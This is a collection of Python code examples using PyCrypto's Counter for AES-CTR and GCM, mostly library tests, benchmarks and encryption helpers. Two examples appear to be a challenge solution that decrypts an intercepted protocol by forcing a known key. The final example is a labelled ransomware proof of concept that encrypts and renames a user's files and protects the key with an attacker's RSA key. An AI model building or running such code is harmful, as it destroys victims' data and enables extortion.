Esempio n. 1
0
    def runTest(self):
        from Crypto.Util import Counter

        def pythonCounter():
            state = [0]
            def ctr():
                # First block succeeds; Second and subsequent blocks raise OverflowError
                if state[0] == 0:
                    state[0] = 1
                    return b("\xff") * self.module.block_size
                else:
                    raise OverflowError
            return ctr

        for little_endian in (0, 1): # (False, True) Test both endiannesses
            block = b("\x00") * self.module.block_size

            # Test PyObject_CallObject code path: if the counter raises OverflowError
            cipher = self.module.new(a2b_hex(self.key), self.module.MODE_CTR, counter=pythonCounter())
            cipher.encrypt(block)
            self.assertRaises(OverflowError, cipher.encrypt, block)
            self.assertRaises(OverflowError, cipher.encrypt, block)

            # Test PyObject_CallObject code path: counter object should raise OverflowError
            ctr = Counter.new(8*self.module.block_size, initial_value=2L**(8*self.module.block_size)-1, little_endian=little_endian)
            ctr()
            self.assertRaises(OverflowError, ctr)
            self.assertRaises(OverflowError, ctr)

            # Test the CTR-mode shortcut
            ctr = Counter.new(8*self.module.block_size, initial_value=2L**(8*self.module.block_size)-1, little_endian=little_endian)
            cipher = self.module.new(a2b_hex(self.key), self.module.MODE_CTR, counter=ctr)
            cipher.encrypt(block)
            self.assertRaises(OverflowError, cipher.encrypt, block)
            self.assertRaises(OverflowError, cipher.encrypt, block)
Esempio n. 2
0
 def _start_gcm(self, factory, key, *args, **kwargs):
     if self.block_size != 16:
         raise TypeError('GCM mode is only available for ciphers that operate on 128 bits blocks')
     self.nonce = _getParameter('nonce', 1, args, kwargs)
     if not self.nonce:
         raise TypeError('MODE_GCM requires a nonce')
     self._mac_len = kwargs.get('mac_len', 16)
     if not (self._mac_len and 4 <= self._mac_len <= 16):
         raise ValueError("Parameter 'mac_len' must not be larger than 16 bytes")
     self._next = [self.update,
      self.encrypt,
      self.decrypt,
      self.digest,
      self.verify]
     self._done_assoc_data = False
     self._msg_len = 0
     hash_subkey = factory.new(key).encrypt(bchr(0) * 16)
     if len(self.nonce) == 12:
         self._j0 = bytes_to_long(self.nonce + b('\x00\x00\x00\x01'))
     else:
         fill = (16 - len(self.nonce) % 16) % 16 + 8
         ghash_in = self.nonce + bchr(0) * fill + long_to_bytes(8 * len(self.nonce), 8)
         mac = _GHASH(hash_subkey, factory.block_size)
         mac.update(ghash_in)
         self._j0 = bytes_to_long(mac.digest())
     ctr = Counter.new(128, initial_value=self._j0 + 1, allow_wraparound=True)
     self._cipher = self._factory.new(key, MODE_CTR, counter=ctr)
     self._cipherMAC = _GHASH(hash_subkey, factory.block_size)
     ctr = Counter.new(128, initial_value=self._j0, allow_wraparound=True)
     self._tag_cipher = self._factory.new(key, MODE_CTR, counter=ctr)
Esempio n. 3
0
def decrpy_msg(p_a, a_name, p_b, b_name):
    a = initialize(p_a)
    pg = get_pg()
    b = initialize(p_b)
    #print a, b
    #print pg
    s1 = send_key(p_a, a['token'], u'1', b_name)
    s2 = send_key(p_b, b['token'], u'1', a_name)
    print s1, s2
    k = recieve_msg(p_a, a['token'])
    #print k
    secret = 1
    k_hash = sha1(chr(1)).digest()
    k_a = k_hash[:16]
    k_a_nonce = k_hash[16:]
    while True:
        iv = hex_to_string(k['iv'])
        ctr = Counter.new(32, k_a_nonce+iv)
        key = AES.new(k_a, AES.MODE_CTR, 'x'*16, counter=ctr)
        print key.decrypt(hex_to_string(k['msg']))
        try:
            k = send_msg(p_b, b['token'], k['msg'], k['iv'])['reply']
        except:
            return
        #print k
        iv = hex_to_string(k['iv'])
        ctr = Counter.new(32, k_a_nonce+iv)
        key = AES.new(k_a, AES.MODE_CTR, 'x'*16, counter=ctr)
        print key.decrypt(hex_to_string(k['msg']))
        try:
            k = send_msg(p_a, a['token'], k['msg'], k['iv'])['reply']
        except:
            return
Esempio n. 4
0
    def test_encryption(self, cipher_name, module, key_bytes, mode):
        self.announce_start("%s encryption" % (cipher_name,))

        # Generate random keys for use with the tests
        rand = self.random_data(key_bytes + module.block_size)
        key, iv = rand[:key_bytes], rand[key_bytes:]
        blocks = self.random_blocks(16384, 1000)
        if mode is None:
            cipher = module.new(key)
        elif mode == "CTR-BE":
            from Crypto.Util import Counter
            cipher = module.new(key, module.MODE_CTR, counter=Counter.new(module.block_size*8, little_endian=False))
        elif mode == "CTR-LE":
            from Crypto.Util import Counter
            cipher = module.new(key, module.MODE_CTR, counter=Counter.new(module.block_size*8, little_endian=True))
        elif hasattr(module, 'MODE_CCM') and mode==module.MODE_CCM:
            cipher = module.new(key, mode, iv[:8], msg_len=len(rand)*len(blocks))
        elif mode==module.MODE_CTR:
            ctr = Crypto.Util.Counter.new(module.block_size*8,
                    initial_value=bytes_to_long(iv),
                    allow_wraparound=True)
            cipher = module.new(key, module.MODE_CTR, counter=ctr)
        elif mode==module.MODE_ECB:
            cipher = module.new(key, module.MODE_ECB)
        else:
            cipher = module.new(key, mode, iv)

        # Perform encryption
        t0 = time.time()
        for b in blocks:
            cipher.encrypt(b)
        t = time.time()

        encryption_speed = (len(blocks) * len(blocks[0])) / (t - t0)
        self.announce_result(encryption_speed / 10**6, "MBps")
Esempio n. 5
0
def final_decrpy_msg(p_a = Alice, a_name = 'alice'):
    a = initialize(p_a)
    pg = get_pg()
    #print a, b
    #print pg
    s1 = send_key(p_a, a['token'], u'1', 'eve')
    print s1
    secret = 1
    k = recieve_msg(p_a, a['token'])
    k_hash = sha1(chr(1)).digest()
    k_a = k_hash[:16]
    k_a_nonce = k_hash[16:]
    while True:
        iv = hex_to_string(k['iv'])
        ctr = Counter.new(32, k_a_nonce+iv)
        key = AES.new(k_a, AES.MODE_CTR, 'x'*16, counter=ctr)
        print key.decrypt(hex_to_string(k['msg']))

        ctr = Counter.new(32, k_a_nonce+iv)
        key = AES.new(k_a, AES.MODE_CTR, 'x'*16, counter=ctr)
        w =  string_to_hex(key.encrypt(the_hint))
##        return key, ctr, w
##        print key.decrypt(hex_to_string(w))
##        print key.decrypt(key.encrypt(the_hint))
        print w
        k = send_msg(p_a, a['token'], w, k['iv'])['reply']
        print k
Esempio n. 6
0
    def test_encryption(self, cipher_name, module, key_bytes, mode):
        self.announce_start("%s encryption" % (cipher_name,))

        # Generate random keys for use with the tests
        rand = self.random_data(key_bytes + module.block_size)
        key, iv = rand[:key_bytes], rand[key_bytes:]
        blocks = self.random_blocks(16384, 1000)
        if mode is None:
            cipher = module.new(key)
        elif mode == "CTR-BE":
            from Crypto.Util import Counter

            cipher = module.new(key, module.MODE_CTR, counter=Counter.new(module.block_size * 8, little_endian=False))
        elif mode == "CTR-LE":
            from Crypto.Util import Counter

            cipher = module.new(key, module.MODE_CTR, counter=Counter.new(module.block_size * 8, little_endian=True))
        else:
            cipher = module.new(key, mode, iv)

        # Perform encryption
        t0 = time.time()
        for b in blocks:
            cipher.encrypt(b)
        t = time.time()

        encryption_speed = (len(blocks) * len(blocks[0])) / (t - t0)
        self.announce_result(encryption_speed / 10 ** 6, "MBps")
Esempio n. 7
0
def test():
    # NIST Example Vector #1
    # Make sure my counter / encryption / decryption matches 
    # pycryptos (mostly)
    
    pt = unhexlify(b'6bc1bee22e409f96e93d7e117393172a')
    k = unhexlify(b'2b7e151628aed2a6abf7158809cf4f3c')
    exp = b'874d6191b620e3261bef6864990db6ce'
    exp2 = b'6bc1bee22e409f96e93d7e117393172a'
    
    ctrn = Counter.new(128, initial_value = int(b'f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff', 16))
    ctr = CTRCounter(bits = 128, init = int(b'f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff', 16), little_endian = False)

    cipher = AES.new(k, AES.MODE_CTR, counter=ctrn)
    
    a = hexlify(cipher.encrypt(pt))
    b = hexlify(ctr_encrypt(pt, k, ctr))
    
    assert a == b == exp
    
    ctrn = Counter.new(128, initial_value = int(b'f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff', 16))
    ctr2 = CTRCounter(bits = 128, init = int(b'f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff', 16), little_endian = False)
    
    cipher = AES.new(k, AES.MODE_CTR, counter=ctrn)
     
    c = hexlify(cipher.decrypt(unhexlify(a)))
    d = hexlify(ctr_decrypt(unhexlify(b), k, ctr2))
    
    assert c == d == exp2
Esempio n. 8
0
    def new_cipher(self, key, iv):
        """
        @param key:    the secret key, a byte string
        @param iv:     the initialization vector, a byte string
        @return:    an initialized cipher object for this algo
        """
        if (hasattr(self.cipher, 'MODE_CTR') and self.mode == self.cipher.MODE_CTR
            or self.is_aead):
            # in counter mode, the "iv" must be incremented for each block
            # it is calculated like this:
            # +---------+------------------+---------+
            # |  nonce  |        IV        | counter |
            # +---------+------------------+---------+
            #   m bytes       n bytes        4 bytes
            # <-------------------------------------->
            #               block_size
            nonce_size = self.cipher.block_size - self.iv_size - 4

            # instead of asking for an extra parameter, we extract the last
            # nonce_size bytes of the key and use them as the nonce.
            # +----------------------------+---------+
            # |        cipher key          |  nonce  |
            # +----------------------------+---------+
            #                              <--------->
            #                               nonce_size
            cipher_key, nonce = key[:-nonce_size], key[-nonce_size:]
            if self.is_aead:
                return self.cipher.new(cipher_key, self.mode, nonce + iv,
                                       counter=Counter.new(4 * 8, prefix=nonce + iv))

            return self.cipher.new(cipher_key, self.mode,
                                   counter=Counter.new(4 * 8, prefix=nonce + iv))
        else:
            return self.cipher.new(key, self.mode, iv)
Esempio n. 9
0
	def __init__(self, fp, key):
		self.fp = fp
		self.key = key
		self.read_cipher = AES.new(self.key, AES.MODE_CTR, counter=Counter.new(128))
		self.write_cipher = AES.new(self.key, AES.MODE_CTR, counter=Counter.new(128))
		if hasattr(fp, "getvalue"):
			self.getvalue = self._getvalue
		if hasattr(fp, "seek"):
			self.seek = self._seek
Esempio n. 10
0
 def test_BE_shortcut(self):
     """Big endian, shortcut enabled"""
     c = Counter.new(128)
     self.assertEqual(c.__PCT_CTR_SHORTCUT__,True) # assert_
     c = Counter.new(128, little_endian=False)
     self.assertEqual(c.__PCT_CTR_SHORTCUT__,True) # assert_
     c = Counter.new(128, disable_shortcut=False)
     self.assertEqual(c.__PCT_CTR_SHORTCUT__,True) # assert_
     c = Counter.new(128, little_endian=False, disable_shortcut=False)
     self.assertEqual(c.__PCT_CTR_SHORTCUT__,True) # assert_
Esempio n. 11
0
    def __init__(self, key):
        """ Initialize AES with the given key and two counters, one for encryption and one for decryption. """

        counterIn = Counter.new(128)
        self.cipherIn = AES.new(key, mode=AES.MODE_CTR,
                                counter=counterIn)

        counterOut = Counter.new(128)
        self.cipherOut = AES.new(key, mode=AES.MODE_CTR,
                                 counter=counterOut)
Esempio n. 12
0
	def _seek(self, offset, from_what=0):
		res = self.fp.seek(offset, from_what)
		loc = self.fp.tell()
		read_ctr = Counter.new(128, initial_value=loc/16+1)
		write_ctr = Counter.new(128, initial_value=loc/16+1)
		self.read_cipher = AES.new(self.key, AES.MODE_CTR, counter=read_ctr)
		self.write_cipher = AES.new(self.key, AES.MODE_CTR, counter=write_ctr)
		self.read_cipher.encrypt("0"*(loc%16))
		self.write_cipher.encrypt("0"*(loc*16))
		return res
Esempio n. 13
0
	def before_uupdate(self, uuid, f):
		if uuid[-4:] == ".dir":
			return uuid, f
		if hasattr(f, "read"):
			return uuid, AESWrapper(f, self.key)
		elif not isinstance(f, basestring):
			cipher = AES.new(self.key, AES.MODE_CTR, counter=Counter.new(128))
			return uuid, cipher.encrypt(json.dumps(f))
		else:
			cipher = AES.new(self.key, AES.MODE_CTR, counter=Counter.new(128))
			return uuid, cipher.encrypt(f)
Esempio n. 14
0
def example_ctr():
    key = 'This is a key123'.encode()
    iv = 'This is an IV456'.encode()
    ctr = Counter.new(128)
    obj = AES.new(key, AES.MODE_CTR, iv, ctr)
    message = "The answer is no".encode()
    ciphertext = obj.encrypt(message)
    print(ciphertext)

    ctr = Counter.new(128)
    obj = AES.new(key, AES.MODE_CTR, iv, ctr)
    print(obj.decrypt(ciphertext))
Esempio n. 15
0
File: crypto.py Progetto: jm-/voiz
 def startEncryption(self, enckey, deckey):
     self.logger.debug('Instantiating symmetric ciphers...')
     self.enckey = enckey
     self.deckey = deckey
     # encryption
     encctro = Counter.new(64, suffix=self.counter_suffix)
     self.enccipher = AES.new(enckey, AES.MODE_CTR, counter=encctro)
     # decryption
     decctro = Counter.new(64, suffix=self.counter_suffix)
     self.deccipher = AES.new(deckey, AES.MODE_CTR, counter=decctro)
     # counters
     self.encctr = 1
     self.decctr = 1
Esempio n. 16
0
    def _start_gcm(self, factory, key, *args, **kwargs):

        if self.block_size != 16:
            raise TypeError("GCM mode is only available for ciphers that operate on 128 bits blocks")

        self.nonce = _getParameter('nonce', 1, args, kwargs)
        if not self.nonce:
            raise TypeError("MODE_GCM requires a nonce")

        self._mac_len = kwargs.get('mac_len', 16)
        if not (self._mac_len and 4 <= self._mac_len <= 16):
            raise ValueError("Parameter 'mac_len' must not be larger than 16 bytes")

        # Allowed transitions after initialization
        self._next = [self.update, self.encrypt, self.decrypt,
                      self.digest, self.verify]

        self._done_assoc_data = False

        # Length of the ciphertext or plaintext
        self._msg_len = 0

        # Step 1 in SP800-38D, Algorithm 4 (encryption) - Compute H
        # See also Algorithm 5 (decryption)
        hash_subkey = factory.new(key).encrypt(bchr(0) * 16)

        # Step 2 - Compute J0 (integer, not byte string!)
        if len(self.nonce) == 12:
            self._j0 = bytes_to_long(self.nonce + b("\x00\x00\x00\x01"))
        else:
            fill = (16 - (len(self.nonce) % 16)) % 16 + 8
            ghash_in = (self.nonce +
                        bchr(0) * fill +
                        long_to_bytes(8 * len(self.nonce), 8))

            mac = _GHASH(hash_subkey, factory.block_size, '0K')
            mac.update(ghash_in)
            self._j0 = bytes_to_long(mac.digest())

        # Step 3 - Prepare GCTR cipher for encryption/decryption
        ctr = Counter.new(128, initial_value=self._j0 + 1,
                          allow_wraparound=True)
        self._cipher = self._factory.new(key, MODE_CTR, counter=ctr)

        # Step 5 - Bootstrat GHASH
        self._cipherMAC = _GHASH(hash_subkey, factory.block_size, '64K')

        # Step 6 - Prepare GCTR cipher for GMAC
        ctr = Counter.new(128, initial_value=self._j0, allow_wraparound=True)
        self._tag_cipher = self._factory.new(key, MODE_CTR, counter=ctr)
Esempio n. 17
0
    def test_decrypt_ctr(self):
        ctr_key = '36f18357be4dbd77f050515c73fcf9f2'.decode("hex")
        blob = "69dda8455c7dd4254bf353b773304eec0ec7702330098ce7f7520d1cbbb20fc388d1b0adb5054dbd7370849dbf0b88d393f252e764f1f5f7ad97ef79d59ce29f5f51eeca32eabedd9afa9329".decode("hex")

        iv = blob[0:16]
        ciphertext = blob[16:]

        ctr = Counter.new(128, initial_value=long(iv.encode('hex'), 16))
        obj = AES.new(ctr_key, AES.MODE_CTR, counter=ctr)

        text_aes_ctr = obj.decrypt(ciphertext)

        ctr = Counter.new(128, initial_value=long(iv.encode('hex'), 16))
        my_decrypt = ctr_d(ciphertext, ctr_key, ctr)
        self.assertEquals(text_aes_ctr, my_decrypt)
Esempio n. 18
0
def decrypt(secret, message):
    message = message.encode('utf-8')
    curve = SECP256k1.curve()
    order = SECP256k1.order()
    R_size = 1 + 32
    mac_size = hashlib.sha256().digest_size

    message_binary = base64.b64decode(message)
    if len(message_binary) < (R_size + mac_size):
        return None

    R = decode_point(message_binary)
    d = message_binary[R_size:R_size + mac_size]
    prefix_bytes = message_binary[R_size + mac_size:R_size + mac_size + 8]
    c = message_binary[R_size + mac_size + 8:]
    S = (secret * R).x()
    S_bytes = S.to_bytes(32, 'big')
    k_E = hashlib.sha256(S_bytes + b'\0\0\0\1').digest()
    k_M = hashlib.sha256(S_bytes + b'\0\0\0\2').digest()
    d_verify = hmac.new(k_M, prefix_bytes + c, hashlib.sha256).digest()
    if d_verify != d:
        return None
    ctr = Counter.new(64, prefix=prefix_bytes)
    cipher = AES.new(key=k_E, mode=AES.MODE_CTR, counter=ctr)
    padded = cipher.decrypt(c)
    try:
        return unpad(padded, AES.block_size).decode('utf-8')
    except:
        return None
def write_logfile(log_filename, auth_token, logfile_pt):
    
    # Compress the plaintext log file
    logfile_pt = zlib.compress(logfile_pt, 5)
    
    # Generate the encryption and hmac keys from the token
    encrypt_key, hmac_key = generate_keys(auth_token)
    
    # Set-up the counter for AES CTR-mode cipher
    ctr_iv = urandom(16)
    ctr = Counter.new(128, initial_value=long(ctr_iv.encode('hex'),16)) # AES is 128 bits (16 bytes)
    logfile_ct = ctr_iv.encode('hex')
    
    # Create the cipher object
    cipher = AES.new(encrypt_key.decode('hex'), AES.MODE_CTR, counter=ctr)
    
    # Encrypt the plain text log and add it to the logfile cipher text
    # which currently contains the IV for AES CTR mode
    logfile_ct = logfile_ct + cipher.encrypt(logfile_pt)
    
    # Use the 2nd half of the hashed token to sign the cipher text
    # version of the logfile using a MAC (message authentication code)
    hmac_obj = HMAC.new(hmac_key.decode('hex'), logfile_ct)
    mac = hmac_obj.hexdigest()
    
    # Add the mac to the encrypted log file
    logfile_ct = logfile_ct + mac
    
    # Write the signed and encrypted log file to disk.
    # The caller should handle an IO exception
    with open(log_filename, 'wb') as f:
        f.write(logfile_ct)
    
    return None
Esempio n. 20
0
    def decrypt(self, data, password):

        # SPLIT SALT, DIGEST, AND DATA
        data = ''.join(data.split("\n"))
        data = unhexlify(data)
        salt, cryptedHmac, cryptedData = data.split("\n", 2)
        salt = unhexlify(salt)
        cryptedData = unhexlify(cryptedData)

        key1, key2, iv = self.gen_key_initctr(password, salt)

        # EXIT EARLY IF DIGEST DOESN'T MATCH 
        hmacDecrypt = HMAC.new(key2, cryptedData, SHA256)
        if not self.is_equal(cryptedHmac, hmacDecrypt.hexdigest()):
            return None

        # SET THE COUNTER AND THE CIPHER
        ctr = Counter.new(128, initial_value=long(iv, 16))
        cipher = AES.new(key1, AES.MODE_CTR, counter=ctr)

        # DECRYPT PADDED DATA
        decryptedData = cipher.decrypt(cryptedData)

        # UNPAD DATA
        padding_length = ord(decryptedData[-1])
        decryptedData = decryptedData[:-padding_length]

        return decryptedData
Esempio n. 21
0
 def __initSecureChannel(self):
     
     """
     keys are generated for the four possible encryption/decryption situations
     if the user is a server (conn_type != client), then they are ordered slightly differently
     """
     enc_send_key, enc_recv_key, self.__auth_send_hmac, self.__auth_recv_hmac = [
         SHA256.new(str(self.__shared_key) + uniq_text).digest()
         for uniq_text in (["a send b", "b send a", "a auth b", "b auth a"] if self._role == self.CLIENT else ["b send a", "a send b", "b auth a", "a auth b"])
     ]
     
     #in the case of send/recv encryption, we only need one cipher, rather than making a new one each time.
     self.__encrypt_cipher = AES.new(enc_send_key, AES.MODE_CTR, counter=Counter.new(128))
     self.__decrypt_cipher = AES.new(enc_recv_key, AES.MODE_CTR, counter=Counter.new(128))
     
     return 0
Esempio n. 22
0
File: decrypt.py Progetto: gilt/nova
    def __init__(self, stash_key, manager_provider, aws_profile=None, aws_region=None, aws_bucket=None):
        check_latest_version()

        self._aws_manager = manager_provider.aws_manager(aws_profile, aws_region or 'us-east-1')

        if aws_bucket is None:
            deployment_bucket_name = 'novastash_%s' % self._aws_manager.account_alias
        else:
            deployment_bucket_name = aws_bucket

        key = "%s.txt.enc" % stash_key
        existing_stash = self._aws_manager.s3_get(deployment_bucket_name, key)

        if existing_stash is None:
            raise NovaError("No stash '%s' found!" % stash_key)
        else:
            contents = existing_stash['Body'].read()
            metadata = existing_stash['Metadata']
            encryption_key = metadata['encryption-key']
            kms_response = self._aws_manager.kms_decrypt(b64decode(encryption_key), {})

            key = kms_response['Plaintext'][:32]
            hmac_key = kms_response['Plaintext'][32:]
            hmac = HMAC(hmac_key, msg=b64decode(contents), digestmod=SHA256)

            if hmac.hexdigest() != metadata['hmac']:
                raise NovaError("Computed HMAC on '%s' does not match stored HMAC" % stash_key)

            dec_ctr = Counter.new(128)
            decryptor = AES.new(key, AES.MODE_CTR, counter=dec_ctr)
            print(decryptor.decrypt(b64decode(contents)).decode("utf-8"))
Esempio n. 23
0
    def encrypt(self, data, password):

        salt = os.urandom(32)
        key1, key2, iv = self.gen_key_initctr(password, salt)

        # PKCS#7 PAD DATA http://tools.ietf.org/html/rfc5652#section-6.3
        bs = AES.block_size
        padding_length = (bs - len(data) % bs) or bs
        data += padding_length * chr(padding_length)

        # COUNTER.new PARAMETERS
        # 1) nbits (integer) - Length of the counter, in bits.
        # 2) initial_value (integer) - initial value of the counter. "iv" from gen_key_initctr

        ctr = Counter.new(128, initial_value=long(iv, 16))

        # AES.new PARAMETERS
        # 1) AES key, must be either 16, 24, or 32 bytes long -- "key" from gen_key_initctr
        # 2) MODE_CTR, is the recommended mode
        # 3) counter=<CounterObject>

        cipher = AES.new(key1, AES.MODE_CTR, counter=ctr)

        # ENCRYPT PADDED DATA
        cryptedData = cipher.encrypt(data)                

        # COMBINE SALT, DIGEST AND DATA
        hmac = HMAC.new(key2, cryptedData, SHA256)
        message = "%s\n%s\n%s" % ( hexlify(salt), hmac.hexdigest(), hexlify(cryptedData) )
        message = hexlify(message)
        return message
Esempio n. 24
0
def decrypt(password, data, expansion_count=EXPANSION_COUNT):
    '''
    Decrypt some data.  Input must be bytes.

    @param password: The secret value used as the basis for a key.
     This should be as long as varied as possible.  Try to avoid common words.

    @param data: The data to be decrypted, typically as bytes.

    @return: The decrypted data, as bytes.  If the original message was a
    string you can re-create that using `result.decode('utf8')`.
    '''
    _assert_not_unicode(data)
    _assert_header_prefix(data)
    version = _assert_header_version(data)
    _assert_decrypt_length(data, version)
    raw = data[HEADER_LEN:]
    salt = raw[:SALT_LEN[version]//8]
    hmac_key, cipher_key = _expand_keys(password, salt)
    hmac = raw[-HASH.digest_size:]
    hmac2 = _hmac(hmac_key, data[:-HASH.digest_size])
    _assert_hmac(hmac_key, hmac, hmac2)
    counter = Counter.new(HALF_BLOCK, prefix=salt[:HALF_BLOCK//8])
    cipher = AES.new(cipher_key, AES.MODE_CTR, counter=counter)
    return cipher.decrypt(raw[SALT_LEN[version]//8:-HASH.digest_size])
Esempio n. 25
0
    def initiate_session(self):
        # Perform the initial connection handshake for agreeing on a shared secret

        ### TODO: Your code here!
        # This can be broken into code run just on the server or just on the client
        if self.server or self.client:
            my_public_key, my_private_key = create_dh_key()
            # Send them our public key
            self.send(bytes(str(my_public_key), "ascii"))
            # Receive their public key
            their_public_key = int(self.recv())
            # Obtain our shared secret
            self.key = calculate_dh_secret(their_public_key, my_private_key)
            print("Shared hash: {}".format(self.key))

        # Create a counter from PyCrypto library. Has 128 bits and uses a randomly generated initial value
        counter = Counter.new(128)

        # Creating AES cipher with 16 bit key, counter mode and counter initialised in previous line
        self.cipher = AES.new(self.key[:16], AES.MODE_CTR, counter=counter) # Changes from XOR to AES

        self.send_seed = read_hex(self.key[:4])
        self.recv_seed = self.send_seed
        print("Send seed: {}".format(self.send_seed))
        print("Recv seed: {}".format(self.recv_seed))
Esempio n. 26
0
 def _encode_impersonate_v1(self, ptxt, pubkey, privkey, progress_callback=None, 
            ttl=_default_ttl):
     if ptxt is None or len(ptxt) == 0:
         return False
     tval = int(time.time())
     texp = tval + ttl
     q = privkey.current_privkey_val(tval)
     if q is None:
         return False
     Q = privkey.current_pubkey_point(tval)
     P = pubkey.current_pubkey_point(tval)
     if P is None:
         return False
     status = {}
     status['besthash'] = 0
     status['bestbits'] = _masksize
     status['nhash'] = 0
     status['nhash2'] = 0
     while True:
         s = random.randint(2, _C['n']-1)
         I = _G * s
         maskval = ((I.affine()[0] >> (_C['bits'] - _masksize)) &
                    privkey.addr['mask'])
         maskmiss = bin(maskval ^ privkey.addr['mtgt']).count('1')
         if maskmiss < status['bestbits']:
             status['bestbits'] = maskmiss
             status['besthash'] = maskval
         if maskval == privkey.addr['mtgt']:
             break
         if progress_callback:
             if (status['nhash'] % 10) == 0:
                 progress_callback(status)
         status['nhash'] += 1
     J = Q * s
     stext = (_pfmt % s).encode()
     h = int(sha256(stext + ptxt.encode()).hexdigest(), 16)
     k = (q * h) % _C['n']
     K = P * h
     DH = P * k
     iv = int(I.compress()[-32:],16)
     keybin = unhexlify(DH.compress()[-64:])
     counter = Counter.new(128,initial_value=iv)
     cryptor = AES.new(keybin, AES.MODE_CTR, counter=counter)
     msg = (_pfmt % s).encode() + b':' + b64encode(ptxt.encode())
     ctxt = cryptor.encrypt(msg)
     altK = Q * h
     self.time = tval
     self.expire = texp
     self.s = s
     self.I = I
     self.J = J
     self.K = K
     self.ptxt = ptxt
     self.ctxt = ctxt
     self.altK = altK
     self.version = "0100"
     header = self._short_header()
     sigkey = int(sha256(DH.compress()).hexdigest(), 16) % _C['n']
     self.sig = _ecdsa.sign(sigkey, ctxt, header)
     return self
Esempio n. 27
0
 def _decode_v1(self,DH):
     sp = int(sha256(DH.compress()).hexdigest(), 16) % _C['n']
     SP = _G * sp
     if not _ecdsa.verify(SP, self.sig, self.ctxt, self._short_header()):
         return False
     iv = int(self.I.compress()[-32:],16)
     keybin = unhexlify(DH.compress()[-64:])
     counter = Counter.new(128,initial_value=iv)
     cryptor = AES.new(keybin, AES.MODE_CTR, counter=counter)
     etxt = cryptor.decrypt(self.ctxt)
     msg = etxt.split(b':')
     if len(msg) != 2:
         return False
     if len(msg[0]) != 64:
         return False
     s = 0
     try:
         s = int(msg[0],16)
     except ValueError:
         return False
     if self.I != (_G * s):
         return False
     try:
         self.ptxt = b64decode(msg[1])
     except:
         return False
     self.ptxt = self.ptxt.decode()
     self.s = s
     stext = (_pfmt % s).encode()
     self.h = int(sha256(stext + self.ptxt.encode()).hexdigest(), 16)
     return True
Esempio n. 28
0
def decryptCTR(in_file="/tmp/indice6.html", out_file=None, 
               password="******"+time.strftime("%Y-%m-%d"), key_length=32,
               base64=True,padding=False):
    if (base64):
        tmpFile=tempfile.mktemp()
        deBase64(in_file,tmpFile)
        in_file=tmpFile
    in_file=open(in_file,"rb")
    if (out_file==None):
        out_file=sys.stdout
    else:
        out_file=open(out_file,"w")
    bs = AES.block_size
    salt = in_file.read(bs)[len('Salted__'):]
    key, iv = derive_key_and_iv(password, salt, key_length, bs)
    #print "key: "+key.encode("hex")
    #print "iv: "+iv.encode("hex")
    #sys.exit(0)
    ctr=Counter.new(bs*8,initial_value=long(iv.encode("hex"),16))
    cipher = AES.new(key, AES.MODE_CTR, counter = ctr)
    next_chunk = ''
    finished = False
    while not finished:
        chunk, next_chunk = next_chunk, cipher.decrypt(in_file.read(1 * bs))
        if len(next_chunk) == 0:
            if (padding):
                padding_length = ord(chunk[-1])
                chunk = chunk[:-padding_length]
            finished = True
        out_file.write(chunk)
    in_file.close()
    if (out_file!=sys.stdout):
       out_file.close()
Esempio n. 29
0
    def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
        if init_value >= (1 << 96):
            raise InvalidInputException('IV should be 96-bit')
        if auth_tag >= (1 << 128):
            raise InvalidInputException('Tag should be 128-bit')

        if auth_tag != self.__ghash(auth_data, ciphertext) ^ \
                bytes_to_long(self.__aes_ecb.encrypt(
                long_to_bytes((init_value << 32) | 1, 16))):
            raise InvalidTagException

        len_ciphertext = len(ciphertext)
        if len_ciphertext > 0:
            counter = Counter.new(
                nbits=32,
                prefix=long_to_bytes(init_value, 12),
                initial_value=2,
                allow_wraparound=True)
            aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)

            if 0 != len_ciphertext % 16:
                padded_ciphertext = ciphertext + \
                    b'\x00' * (16 - len_ciphertext % 16)
            else:
                padded_ciphertext = ciphertext
            plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]

        else:
            plaintext = b''

        return plaintext
Esempio n. 30
0
 def encrypt( self, raw , iv):
     raw = pad(raw)
     ctr = Counter.new(128)
     cipher = AES.new( self.key, AES.MODE_CTR, counter =ctr )
     return base64.b64encode( iv + cipher.encrypt( raw ) ) 
Esempio n. 31
0
def main():
    if len(sys.argv) <= 1:
        print('[*] Ransomware - PoC\n')
        # banner()        
        print('Usage: python3 main_v2.py -h')
        print('{} -h for help.'.format(sys.argv[0]))
        exit(0)

    # Parse arguments
    args = parse_args()
    encrypt = args.encrypt
    decrypt = args.decrypt
    
    absolute_path = str(args.path)
    
    # Force one click and comment out args above
    # absolute_path = "None"
    # encrypt = True 
    # decrypt = False
    
    if absolute_path != 'None':
        startdirs = [absolute_path]
    else:
        # Check OS
        plt = platform.system()
        if plt == "Linux" or plt == "Darwin":
            startdirs = [os.environ['HOME'] + '/test_ransomware']
        elif plt == "Windows":
            startdirs = [os.environ['USERPROFILE'] + '\\test_ransomware']
            # Can also hardcode additional directories
            # startdirs = [os.environ['USERPROFILE'] + '\\Desktop', 
                        # os.environ['USERPROFILE'] + '\\Documents',
                        # os.environ['USERPROFILE'] + '\\Music',
                        # os.environ['USERPROFILE'] + '\\Desktop',
                        # os.environ['USERPROFILE'] + '\\Onedrive']
        else:
            print("Unidentified system")
            exit(0)
   
    # Encrypt AES key with attacker's embedded RSA public key 
    server_key = RSA.importKey(SERVER_PUBLIC_RSA_KEY)
    encryptor = PKCS1_OAEP.new(server_key)
    encrypted_key = encryptor.encrypt(HARDCODED_KEY)
    encrypted_key_b64 = base64.b64encode(encrypted_key).decode("ascii")

    print("Encrypted key " + encrypted_key_b64 + "\n")
 
    if encrypt:
        key = HARDCODED_KEY    
    if decrypt:
        # RSA Decryption function - warning that private key is hardcoded for testing purposes
        rsa_key = RSA.importKey(SERVER_PRIVATE_RSA_KEY)
        decryptor = PKCS1_OAEP.new(rsa_key)
        key = decryptor.decrypt(base64.b64decode(encrypted_key_b64))

    # Create AES counter and AES cipher
    ctr = Counter.new(128)
    crypt = AES.new(key, AES.MODE_CTR, counter=ctr)
    
    # Recursively go through folders and encrypt/decrypt files
    for currentDir in startdirs:
        for file in discover.discoverFiles(currentDir):
            if encrypt and not file.endswith(extension):
                modify.modify_file_inplace(file, crypt.encrypt)
                os.rename(file, file + extension)
